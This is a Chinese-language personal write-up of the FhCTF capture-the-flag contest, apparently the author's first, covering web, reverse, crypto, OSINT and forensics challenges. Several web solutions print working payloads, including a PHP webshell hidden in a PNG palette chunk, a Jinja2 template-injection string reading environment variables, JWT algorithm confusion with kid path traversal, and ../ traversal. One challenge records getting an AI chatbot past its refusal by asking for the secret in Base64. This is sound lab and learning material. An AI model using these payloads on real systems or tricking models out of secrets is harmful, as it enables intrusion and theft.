前言
這是我人生中的第一場 CTF。
比賽從 01/01 00:00 開始,也就是說,新年的第一秒我不是在跨年,是在解題目 (開玩笑的,我在玩 Minecraft )。
| Username | yal212(captain) |
| Team | ZW |
| Team members | yal212 |
| Final score | 4187 points |
| Overall standing | 16th |
| Student group standing | 13th |
隊伍叫 ZW,隊員 1+1 位,隊長也是我,隊員 GPT。最後拿到 4187 分、總排第 16、學生組第 13,以第一次參賽來說我自己是非常滿意的。
Web 題吃掉我最多時間;OSINT 反而是我最喜歡的部分,挖到答案的過程意外地有成就感。以下是全部題目的解題紀錄。
Misc
Sanity Check
題目最後一句寫「你說 Flag?早就給你啦… 回去再把內容重看一次!!」,那就回去重看。
把題目全文整段複製出來,就看到中間有一段被故意縮到超小的文字,flag 就是它。
FhCTF{S3n1ty_Ch3ck1ng…😝}
Christmas Tree
題目給了兩樣東西:一個巢狀的 JSON,還有一長串 0 跟 1。
打開 JSON 看一下,每個節點的 key 就是 "0" 跟 "1",葉節點放單一字元 , 這是一棵二元樹,而且是 Huffman Coding。
那解碼流程就很直白了,從第一個 bit 開始:
- 遇到
0走左子樹 - 遇到
1走右子樹 - 走到葉節點就輸出那個字元
- 指標拉回根節點,繼續讀下一個 bit
跑完就出來了。
FhCTF{Hoffman_is_a_great_Christmas_tree}
不知道是不是故意 hoffman 而不是 huffman 的。
分享圖庫
題目說「只能上傳 PNG 應該很安全」,看到這種話就知道有鬼。
翻 upload.php,發現它只用 exif_imagetype() 檢查檔案的魔術位元是不是 PNG,完全沒管副檔名。再看 Dockerfile,flag 是塞在環境變數裡的。
那就做一個 PNG/PHP polyglot:檔案前面是合法的 PNG 標頭,後面接一段讀環境變數的 PHP,然後命名成 shell.php 丟上去。exif_imagetype() 只看開頭,驗證直接過。
存取 /uploads/shell.php,伺服器就把環境變數吐回來了:
1 | �PNG IHDRĉ IDATx�c -�IEND�B`�flag=FhCTF{png_format?Cannot_stop_php!} |
FhCTF{png_format?Cannot_stop_php!}
駭客的密碼食譜
表面上是一份食譜,但每個食材前面都掛著一個 60~125 之間的數字。這個範圍剛好是可見的 ASCII,所以數字本身就是內容。
照 method 裡的每一步,抓出對應食材的數字轉成 ASCII 字元,再串起來:
1 | }nuf_si_gnikooc{FTChF |
反過來讀就對了。
FhCTF{cooking_is_fun}
笑話大師
先隨便問幾句試水溫。直接叫它把隱藏字串印出來會被拒絕,但問「字串多長」「有沒有包含某某字元」「有哪些符號」它都肯回答 , 也就是說它擋的是「原文」,不是「關於原文的資訊」。
那就繞過去,叫它把秘密用 Base64 編碼再回傳:
1 | RmhDVEZ7dGhpc2lfUHJvbXB0X0luamVjdGlvbn0= |
解碼完成。
FhCTF{this_Prompt_Injection}
Python Compile
題目強調「只進行 compile()、不執行程式碼」。但 compile() 有第二個參數 filename,而它是使用者可控的,加上編譯錯誤訊息會原封不動回傳到前端。
Python 在格式化 SyntaxError 的時候,會去讀 filename 指定的檔案,把出錯那一行印出來。所以只要故意寫一段一定會語法錯誤的程式碼,然後把 filename 指到 /proc/self/environ:
1 | code=( |
錯誤訊息裡就直接夾著整包環境變數,flag 也在裡面。
FhCTF{N0t_s4f3_t0_ou7put_th3_err0r_m5g}
分享圖庫 Revenge
跟前面那題同一個梗,但這次後端會用 imagepng() 把圖片重新編碼一次。單純把 PHP 附在檔案尾巴會被洗掉,所以要找一個「重編碼之後還會活著」的地方。
答案是 PLTE chunk。把圖片設成 indexed-color(Color Type = 3)就會強制產生 PLTE,而 PLTE 是 critical chunk,imagepng() 一定會保留它 , 被丟掉的只有 ancillary chunks。
所以做法是:
- 產生一張 indexed-color PNG,CRC 跟結構都要正確
- 把 webshell
<?php system($_GET["c"]); ?>寫進 PLTE 的資料區段 - 命名成
shell.php上傳(後端一樣沒檢查副檔名)
上傳後圖片被重新編碼,PLTE 內容原封不動保留下來。接著直接存取 /uploads/shell.php,用 GET 參數下指令找 flag。
FhCTF{But_I_CAN_WRITE_PHP_IN_IDAT_CHUNK}
Survey
Survey
不廢話,填完表單後就可以看到 flag。
FhCTF{Th4nk_y0u_f0r_y0ur_f33db4ck_7hCTF}
Web
INTERNAL LOGIN
題目只給一個靜態 HTML 登入頁,描述說系統會回應「SQL syntax error」。但看原始碼就知道根本沒有後端 , 驗證條件全部寫在 JavaScript 的 auth() 裡面,flag 也是在前端當場拼出來的。
登入判斷只要滿足兩件事:輸入要包含 ',而且要包含 or 或 ||。就是在模擬一個 SQL Injection payload 的長相而已。
flag 的組法也在同一段:
["F","h","C","T","F"].join("")→FhCTF{、}用String.fromCharCode生出來(0xcafe - 0xcabc).toString(16)算出來是42
所以 Username 欄位隨便打一個符合條件的字串,像 ' OR 1=1,畫面就跳出 Access Granted 並且把 flag 印出來。
FhCTF{SQL_1nj_42_Success}
The Visual Blind Spot
翻 HTML 原始碼,找到一個隱藏元素 #sys-config,它的 data-params 屬性裡是一串用 | 分隔的數字。
而 loadSystemParams() 這個函式把數字轉字元的規則寫得清清楚楚,是可逆的:
1 | charCode = (n / 3) - 13; |
每個數字除以 3、減 13、轉 ASCII,就還原出來了。
後半段還有一層:Canvas 影像要用 RGB 金鑰解密,而金鑰的產生方式也是寫死的:
1 | _base = parseInt("32", 16); // 50 |
拿 (100, 50, 200) 去解 Canvas,flag 就直接顯示在畫面上。
FhCTF{VisualCrypto_v6.4}
Web Robots
標題都寫 Robots 了,那就先看 robots.txt。
看到 /secret 被 Disallow,直接開 /secret/:
1 | Index of /secret |
flag 就在裡面。
FhCTF{r0b075_4r3_n0t_v15ible_in_tx7}
Doors Open
首頁只有一段靜態文字,沒有任何能點的東西,所以重點一定不在前端操作。看原始碼,HTML 註解寫著 <!-- Robots? Seriously? -->,提示要去找隱藏路徑。
摸到 /doors/{id} 這個路由之後,試了 /doors/1、/doors/2,回應完全一樣 , 全部都是假門。硬爆 ID 顯然不是設計意圖,那就換個方向,測沒被處理好的邊界值。
後端八成是直接拿使用者輸入當索引,沒檢查上下界。
存取 /doors/-1,flag 出來了。
FhCTF{IDOR_get_the_s3cr3t_infom47i0n}
SYSTEM ROOT SHELL
題目自己就說了這是「純前端模擬系統」,所有行為都在瀏覽器端跑完,所以不會有真的 RCE。
看 index.html,關鍵判斷只有這一行:
1 | const isInject = /[;&|]/.test(cmd); |
它只是用正則檢查輸入裡有沒有 ;、&、|,然後把這個布林值直接當成「指令是否執行成功」。進到成功分支之後,JavaScript 會把一個預先寫死的 ASCII 陣列轉成字串顯示出來。
所以輸入任何一個含特殊字元的字串就過了。
FhCTF{RCE_Success_v3}
Templating Danger
題目名字直接指向 Template Rendering,專案又是 FastAPI + Jinja2,那就是 SSTI。
看 main.py,使用者輸入的 comment 直接進 template context({"result": comment})。再看 webpage.py,過濾邏輯有兩個洞:
- 正規表示式只移除字面上的
{和} - 但如果字串裡有
\u,會先做一次unicode_escape解碼,然後才丟給Template().render()
順序反了,所以用 Unicode escape 就能繞過過濾 , \u007b → {、\u007d → },正則掃的時候還不是大括號,解碼之後才變成大括號。
payload:
1 | \u007b\u007blipsum.__globals__.os.environ['FLAG']\u007d\u007d |
lipsum 是 Jinja2 內建的 global function,可以透過 __globals__ 摸到 os,再讀環境變數。
送出後「Message Preview」區塊顯示的就不是我輸入的東西了。
FhCTF{T3mpl371ng_n33d_t0_b3_m0r3_c4r3full🥹}
Welcome to Cybersecurity Jungle
/flag.txt、/flag、/jungle 這些常見端點都試過了,沒有。所以 flag 應該就藏在頁面裡,只是被某個客戶端狀態控制住。
翻 cookie,看到一個叫 aXNGbGFnU2hvdzJ1 的:
1 | echo aXNGbGFnU2hvdzJ1 | base64 --decode |
isFlagShow2u , 名字就說了它決定 flag 顯不顯示。那值要填什麼?題目主題是「changing the language doesn’t change programming」,加上整體的日文氛圍,猜是要填日文的「true」,而且一樣 base64。
試了幾種寫法:
| 日語 | Base64 |
|---|---|
| はい | 44Gv44GE |
| とぅるー | 44Go44GF44KL44O8 |
| ほんとう | 44G744KT44Go44GG |
| 真 | 55yf |
とぅるー 中了。
1 | curl -s -H "Cookie: aXNGbGFnU2hvdzJ1=44Go44GF44KL44O8" http://1e38060f.fhctf.systems/ > page.html |
翻一下回傳的 HTML:
1 | <p class="text-xs text-transparent"> |
text-transparent,難怪肉眼看不到。
FhCTF{Th3_e553nc3_of_pr0gramm1n6_is_ind3p3nden7_of_the_languag3_u53d}
Documents
直接開 /flag.html 只拿到 INCORRECT flag。既然同一個路徑會依情況回不同內容,那它就不是靜態檔案,而是有條件判斷的。
配合題目名稱跟 HTTP Header 的提示,猜是伺服器在檢查某些「反向代理常見、但其實用戶端可控」的 Header。那就自己把 Header 補上去,假裝請求是從安全來源、走 HTTPS 過來的:
1 | curl http://<instance>.fhctf.systems/flag.html \ |
判斷通過,flag 回來了。
FhCTF{URL_encod3d_m337_p47h_d15cl0sure😱😱}
LOG ACCESS
題目明講「完全沒有後端,所有判斷都在瀏覽器中完成」,而且直接給了完整的 index.html。那就是純讀 JavaScript。
所有的「安全檢查」和 flag 組合全部在 access() 這個函式裡。flag 不是從檔案讀的,是條件成立時當場拼出來的,所以只要把各個變數還原就好:
_h:一個 ASCII 陣列轉字元 →FhCTF_c1:\x50\x61\x74\x68\x5f→Path__c3:\x54\x72\x34\x76→Tr4v_c2:21337 >> 4 = 1333,轉 16 進位是535
照程式碼裡的格式串回去就是完整的 flag。
FhCTF{Path_Tr4v_535}
Pathway-leak
先隨便打一個不存在的檔案,看它怎麼噴錯:
1 | curl -i http://<host>/api/assets/guest_user/test.txt |
錯誤回應裡的 attempted_key 把後端真正存取的路徑整個吐出來了,格式是 tenants/<tenant>/<filename>。也就是說後端大概長這樣:
1 | key = f"tenants/{tenant}/{filename}" |
純字串拼接,沒有正規化、沒有目錄邊界檢查。
那接下來就是猜有沒有管理員租戶。試 secret_admin/flag.txt,直接打回 404 , 因為它會被拼成 tenants/secret_admin/flag.txt 底下再一層,路徑不對。
所以要用 ../ 從目前的租戶目錄逃出去:
1 | curl -i http://<host>/api/assets/guest_user/../secret_admin/flag.txt |
HTTP 200,flag 到手。
FhCTF{p4th_tr4v3rs4l_w3_w4n7_t0_av01d}
KID
Cookie 裡放 JWT,Header 同時有 alg 和 kid , 這組合基本上就是在喊「來做演算法混淆」。
先把原始 JWT 拆開看:
- Header:
alg = RS256、kid = default.pem - Payload:
role = guest
後端有 HS256 相容模式,而且會依照 kid 去動態讀金鑰檔案。這兩件事湊在一起就是經典的 RS256 → HS256 confusion,再加上 kid 沒過濾造成的路徑穿越。
所以我改了三個地方:
alg改成HS256kid改成../../../../dev/null- Payload 的
role改成admin
/dev/null 是空檔案,讀出來就是空字串,於是空字串成為 HMAC 的 secret。用 HS256 加空字串重新簽一次,把偽造的 JWT 塞回 session cookie 送出去。
伺服器驗過了,身分變成 admin。
FhCTF{Th3_k1d_u53d_JWT_t0_tr4v3rs3_p4th5}
Reverse
簡易腳本閱讀器
原始碼是全給的。flag 明明已經被讀進程式裡,放在腳本陣列的第 0 行,但執行起點被寫死成第 2 行(ip = 2),所以永遠跑不到。
重點在三件事:USER_INPUT 會被使用者輸入直接覆寫並且立刻執行、腳本支援 JUMP <index> 指令、而且 JUMP 沒有限制跳轉範圍。
那就在它等輸入的時候,送一行腳本指令進去:
1 | JUMP 0 |
這行被寫進腳本並立即執行,指令指標跳回第 0 行,原本被跳過的 flag 行就被印出來了:
1 | [Line 2] Welcome to FhCTF Script Reader... |
FhCTF{f1l3_10_and_jumb_m4st3r}
OBF
一份混淆到不行的 Python,但實際行為很單純:動態組出一把 64 bytes 的金鑰,然後 flag[i] XOR key[i % 64],輸出 hex。
混淆的手法是狀態機,state ID 用十六進位字串命名,_ctx 這個 dict 當作 key material 的暫存區。順著跑一遍,起始 state 是 K,接著 Q → T → S → R → U,每個 function 負責填金鑰的不同區段。
把四段還原出來:
1 | memory[i] = chr(v ^ 66) # 0–15 |
依 index 排序串接就是完整的 64-byte key。剩下就是讀 output.txt 的 hex、轉 bytes、反 XOR 回去:
1 | flag = chr(cipher[i] ^ ord(key[i % 64])) |
FhCTF{08fu5c471n6_Py7h0n_15_fun}
The Lock
一個 Windows 64-bit PE,除了互動輸入之外沒有其他輸入來源。
先確認一下:
1 | file <binary> |
x86-64 Windows PE。接著 strings 掃過去,直接看到 flag 格式限制(FhCTF{...})跟成功/失敗訊息 , 表示裡面有明確的字串比對和運算式驗證,靜態分析就夠了。
1 | objdump -d <binary> |
反組譯之後定位到兩個關鍵函式:
check_header:檢查開頭、結尾跟基本長度check_password:核心驗證邏輯
check_password 的邏輯是取出 {} 中間的字串(長度必須是 26),對每個字元做 XOR 加索引運算,然後跟一個 hardcoded 陣列比對。既然運算是可逆的,就照著反推:
1 | char = (expected[i] - i*2) ^ xor_keys[i % 4] |
逐字元還原後組回去就是 flag。
FhCTF{R3v3rs3_Eng1n33r1ng_1s_Ar7}
Crypto
管理員的密碼洋蔥
題目給的字串長度跟格式一看就是多層編碼,提示還直接寫了 MD5、SHA-1、Base64。所以就是一層一層剝。
LVL_01 — MD5
給定 d8578edf8458ce06fbc5bb76a58c5ca4,丟去線上彩虹表查,是 qwerty。
LVL_02 — SHA-1
給定 61cfc9d3dadc5504391b872d170bbe73f6ca0d77,一樣丟線上查,查不到。
但題目敘述說「他使用的每一層加密或編碼,都是可以在網路上輕易被反查或還原的弱機制」,所以就土法煉鋼試常見密碼:admin、qwerty、password⋯⋯ 打到 password 就過了。
password過了,但是password的 SHA-1 也不是題目給的那個值,所以蠻莫名其妙的。我不確定我到底是不是正確做法,但是好累,所以就當作我是對的。
LVL_03 — Base64
給定 RnNDVEZ7SGFwcHkgRGF5fQ==,解碼是 FsCTF{Happy Day}。系統接受這個值,跳出 AUTHENTICATION_SUCCESS: NEXT_LEVEL_UNLOCKED。
FhCTF{CrYpt0_W3b_M4st3r_2025}
安全的加密
題目給一個加密過的檔案,暗示用 AES。關鍵是它用的是 ECB 模式,而明文是結構化資料(BMP 圖片)。
ECB 沒有引入任何隨機性,相同的明文區塊會加密成相同的密文區塊 , 所以圖片的重複性會完整留在密文裡。經典的 ECB penguin。
那就不用解密,直接統計區塊:
1 | BLOCK_SIZE = 16 |
出現次數最多的區塊就是背景(白色),其他一律當前景(文字)。依照區塊分布重建一張黑白圖片,最後因為 BMP 是自底向上儲存的,記得垂直翻轉。
翻過來就直接讀得到 flag。
FhCTF{3C13_m0d3_1s_z0_S3cur17y_}
OSINT
Art Work
題目給一張作品圖,提示「這個美術館的展覽都在海邊」,要交展覽地點、展覽名稱跟展期。
丟 Google Lens 辨識文字,抓到關鍵字:
1 | 落山風藝術季 《風之籽》 |
有了名字就好辦,搜官方資料跟新聞確認:
- 展覽地點縣市:屏東縣
- 展覽名稱:落山風藝術季
- 展期(民國年月日):1111104–1120205
照格式組起來。
FhCTF{屏東縣_落山風藝術季_1111104-1120205}
Trace the Landmark
圖片丟 Google Lens,直接辨識出是義大利羅馬的萬神殿(Pantheon)。
然後去 Google Maps 搜 Pantheon, Rome, Italy 拿官方地址,把空格跟逗號改成底線(含郵遞區號)就符合格式了。
FhCTF{Piazza_della_Rotonda_00186_Roma_RM_Italy}
漂亮的圓頂 1
一張圖,提示「圓形建築物」。
用 Google Lens 比對建築物特徵,判斷是 Bedmialem Valide Sultan Camii , 結果裡唯一符合圓頂特徵的建築物。查它的座標填進去:
- Latitude:
41.0367521425 - Longitude:
28.9952373505
這題大家(包含我)都卡很久,可能是因為題目精準度要求太嚴謹(詳細來講是 10cm)。
Latitude: 41.0367521425
Longitude: 28.9952373505
SRL
一看到圖就大概知道在哪了,剩下只是判斷精確位置。
身為台北人,我一眼就認出圖片裡是台北大巨蛋,遠一點的是國父紀念館。既然大巨蛋後面還看得到國父紀念館,位置大概就在松山文創園區東邊。
誤差容忍夠大,其實點在松山文創園區就過了。
Latitude: 25.0436726543
Longitude: 121.5608239174
EXIF的「拍攝座標」
提示寫「拍攝時 GPS 沒關,檔案記錄了位置」,那就是 EXIF。
1 | exiftool 1215189068.png |
抓 GPS Latitude 的原始小數值:
1 | exiftool -GPSLatitude -n 1215189068.png |
得到 25.1175783。
然後 Longitude 呢?EXIF 裡沒有 , 但檔名 1215189068 本身就是 121.5189068。這梗有點壞。
照格式把小數點去掉再串接:
1 | Latitude 25.1175783 → 251175783 |
FhCTF{2511757831215189068}
Lithium exploration
圖片是鏡面反射效果的平坦鹽湖,加上題目提到鋰。這個組合只有一個答案:玻利維亞的 Salar de Uyuni。
- Country:Bolivia
- LakeName:SalardeUyuni(去空格,符合 CTF 習慣)
礦物名稱那格要注意,鋰在該鹽湖是以溶液(brine)形式存在,不是固態礦石或化合物,所以就填 Lithium。
照 FhCTF{Country_LakeName_MineralName} 組起來。
FhCTF{Bolivia_SalardeUyuni_Lithium}
The FH Gift
題目給一封 email 的原始內容,附件宣稱是 .docx 但 Word 打不開。
看 MIME 結構,是 multipart/mixed,附件用 Content-Transfer-Encoding: base64。重點在 Base64 內容的開頭是 UEsDB , 解出來是 PK\x03\x04,ZIP 的魔術位元。所以它根本不是 docx(好啦 docx 也是 zip,但這個裡面沒有 docx 該有的結構)。
那就把 Base64 挖出來、解碼、當 ZIP 解壓:
1 | echo '<BASE64_DATA>' | base64 -d | bsdtar -xOf - flag.txt |
FhCTF{M1M3_Typ3s_C4n_B3_D3c3pt1v3}
沒戴安全帽的騎士
一張機車照片,要交出廠年份、廠牌、型號。
先看牌照,綠牌 → 普通輕型機車(≤50cc)。黑白配色只是外觀,跟型號判斷沒關係。
50cc 這個級距在台灣常見的就 KYMCO、SYM、Honda 三家。從圓形車頭燈跟車身板件的細節判斷是 KYMCO。再比對座墊、車身曲線跟燈具造型,跟官方的 2014 KYMCO Many 50 對得上。
照 FhCTF{出廠年份_廠牌_型號} 組:
FhCTF{2014_Kymco_Many50}
Blue Team
User’s Bad Day
題目說使用者打錯了伺服器名稱導致異常行為,然後問三個問題。給的是 PCAP,所以就是分析名稱解析跟 SMB 驗證流程。
打錯的主機名稱是什麼
用 Wireshark 看 DNS 跟 LLMNR:DNS 查 fulesrv.local 回 NXDomain,接著跳出 LLMNR 查詢 fulesrv。原本想打的顯然是 filesrv,i 打成 u。這也正是為什麼會 fallback 到 LLMNR , DNS 查不到就廣播問,然後就被攔截了。
被攔截的帳號名稱
追 TCP 445 的 SMB 流量,在 NTLMSSP_AUTH(Type 3)封包裡身份資訊是明著寫的:
- Domain:
DOMAIN - User:
Bob - Workstation:
WORKST
操作的檔案名稱
繼續往下追,SMB2 Create Request 的請求路徑是 \fulesrv\D$\test。題目要求檔名不含副檔名,所以是 test。
三個湊起來:
FhCTF{fulesrv_Bob_test}